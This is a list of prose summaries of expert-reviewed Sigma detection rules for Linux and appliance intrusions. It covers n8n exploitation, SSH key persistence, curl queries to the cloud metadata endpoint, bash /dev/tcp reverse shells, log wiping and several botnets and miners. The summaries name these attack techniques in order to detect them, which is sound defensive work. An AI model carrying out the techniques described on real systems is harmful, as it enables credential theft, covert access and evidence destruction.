Sigma detection rules, expert-reviewed

Malicious Child Process Spawned From n8n Node Process

This rule detects a Node.js process running n8n spawning shell, discovery or downloader child processes such as sh, whoami, wget or curl, the exploitation behavior of the Zerobot botnet abusing the CVE-2025-68613 expression sandbox escape. The n8n workflow engine should not launch system commands, so these child spawns indicate remote code execution with n8n process privileges. This pattern reflects active post-exploitation on the host.

Malicious SSH authorized_keys Modification for Persistence on Appliance

This rule detects command line activity that writes to an SSH authorized_keys file, the key-based persistence mechanism observed after exploitation of the Cisco SD-WAN CVE-2026-20127 vulnerability. Adding an attacker key to authorized_keys grants durable root access and enables lateral movement between appliances. Editing authorized_keys through a shell command outside of provisioning is suspicious on an appliance.

Malicious vmanage-admin Public Key Authentication in SSH Auth Log

This rule detects SSH authentication events accepting a public key for the vmanage-admin account, an indicator of post-exploitation persistence on Cisco SD-WAN appliances following CVE-2026-20127. Adversaries add their own SSH key and authenticate as vmanage-admin to maintain root-equivalent access and pivot between appliances. Unexpected vmanage-admin key logins from unknown sources signal compromise.

Suspicious Cloud Instance Metadata Access via Command Line Tool

This rule detects curl or wget requesting the cloud instance metadata endpoint 169.254.169.254, observed in a Huntress Linux intrusion where the actor queried metadata to harvest instance credentials. The link-local metadata service exposes IAM tokens and configuration to any process that can reach it. Command-line access to this endpoint from a shell is a common cloud credential-access technique.

Suspicious File Immutability Set via chattr to Resist Removal

This rule detects chattr setting the immutable attribute with +i, used in a Huntress Linux intrusion to protect attacker-planted persistence and miner files from deletion. Making files immutable prevents responders and integrity checks from removing malicious artifacts. Interactive use of chattr +i outside package management or hardening scripts is unusual and warrants review.

Suspicious Bash Loopback Reconnaissance via curl Header Request

This rule detects bash spawning curl with a header-only request against the loopback address 127.0.0.1, a reconnaissance behavior observed in a Huntress Linux intrusion tied to cryptomining deployment. Attackers probe locally bound services to fingerprint the host and running listeners before staging further tooling. Loopback curl header probes from a shell are unusual for legitimate administration and warrant review.

Malicious systemd-daemon Masquerading Binary Execution on Linux

This rule detects execution of a binary named systemd-daemon, a masquerade used by the PeerBlight Linux backdoor to disguise its persistence component installed via a systemd-agent service unit. The name mimics legitimate systemd tooling to evade casual process review. No genuine systemd binary is named systemd-daemon, so this execution indicates backdoor persistence.

Suspicious PHP File Written to FreePBX Custom Firmware Directory (via file_event)

This rule detects creation of a PHP file inside the FreePBX tftpboot custom firmware directory. The CVE-2025-57819 file upload flaw drops PHP webshells to this path which normally holds only firmware binaries. A PHP file in this location indicates webshell deployment.

Malicious Tampering of Linux Authentication Log var log secure (via process_creation)

This rule detects commands that delete, truncate, or shred the Linux authentication log at /var/log/secure. In the Group-IB XMRig covert Linux PAM abuse campaign the attacker tampers with /var/log/secure to erase evidence of unauthorized su and login activity. Clearing this log to hide tracks is a high confidence indicator of active anti-forensics.

Malicious XMRig Cryptominer Execution via Custom Command-Line Flags (via process_creation)

This rule detects a Linux process launched with the distinctive custom flag combination used by the covert XMRig cryptominer variant reported by Group-IB. The campaign runs a fileless self-unlinking miner binary to hijack host resources for cryptomining. Detecting the mining flag combination early exposes resource-hijacking activity that is otherwise hidden behind a benign or deleted process image.

Possible Krasue Linux RAT Command and Control on Uncommon Port 52699

This rule detects network traffic to the uncommon port 52699 which the Krasue Linux RAT uses for its embedded command and control server on compromised hosts. The rootkit hides this port range while relaying operator commands over it. Detecting connections to it can surface Krasue infected servers despite the kernel level concealment.

Malicious DeadBolt Persistence via QNAP Update Package Overwrite

This rule detects modification of the SDDPd.bin file inside the QNAP update package directory which DeadBolt ransomware overwrites to persist and control the device boot sequence. Hijacking this autostart component keeps the ransom logic resident across reboots. It matters because it embeds attacker control deep in the appliance firmware path.

Suspicious Bash Dev-TCP Reverse Shell Execution

This rule detects Linux shell invocations that open an interactive reverse shell through the bash /dev/tcp pseudo-device, often chained with base64 decoding piped into bash. This technique was observed in opportunistic React2Shell exploitation to establish command-and-control after remote code execution on affected hosts.

Suspicious Cloud Instance Metadata Credential Access via curl to IMDS (via process_creation)

This rule detects the Shai Hulud intrusion harvesting IAM role credentials from a compromised Jenkins runner by querying the instance metadata service at 169.254.169.254 with curl. Requests to the security credentials metadata path are a common cloud credential theft technique. The stolen role was escalated to administrator.

Suspicious RondoDox Botnet Persistence via init.d Script and Contact File (via file_event)

This rule detects the RondoDox botnet establishing persistence on Linux hosts by creating an init script named rondo under etc init.d and writing a contact file to the tmp directory. Creation of these named artifacts indicates infection. The bot also links the init script into the runlevel start directory.